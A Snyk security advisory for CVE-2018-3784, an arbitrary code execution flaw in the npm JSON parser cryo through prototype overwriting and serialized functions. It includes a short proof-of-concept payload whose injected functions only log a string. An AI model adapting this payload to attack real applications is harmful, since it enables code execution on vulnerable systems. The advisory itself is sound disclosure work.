Arbitrary Code Execution Affecting cryo package, versions *


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Mature
EPSS
0.25% (66th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Execution vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDnpm:cryo:20180619
  • published24 Jun 2018
  • disclosed8 Feb 2017
  • creditAlexey Tyurin

Introduced: 8 Feb 2017

CVE-2018-3784  (opens in a new tab)
CWE-502  (opens in a new tab)

How to fix?

There is no fix version for cryo

Overview

cryo is a json parser.

Affected versions of this package are vulnerable to Arbitrary Code Execution when untrusted user-input is passed into the cryo.parse() function.

cryo is used to deserialize JSON files into an object by useing square bracket notation ( obj[key]=value ) and interacts with the object later in the code (to convert to string, for example). Given that the JSON is controlled by user input, an attacker may be able to change the __proto__ property for a new object.

cryo also serialization of functions, so the attacker can set their own methods (toString, valueOf) for the new object. If the application interacts later on with the new object in a way which leads to invocation of the object's prototype functions, the attacker's malicious code would execute.

PoC:

var Cryo = require('cryo');
var frozen = '{"root":"_CRYO_REF_3","references":[{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"defconrussia\\"); return 1111;}"},{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"defconrussia\\");return 2222;}"},{"contents":{"toString":"_CRYO_REF_0","valueOf":"_CRYO_REF_1"},"value":"_CRYO_OBJECT_"},{"contents":{"__proto__":"_CRYO_REF_2"},"value":"_CRYO_OBJECT_"}]}'
var hydrated = Cryo.parse(frozen);
console.log(hydrated);

CVSS Scores

version 3.1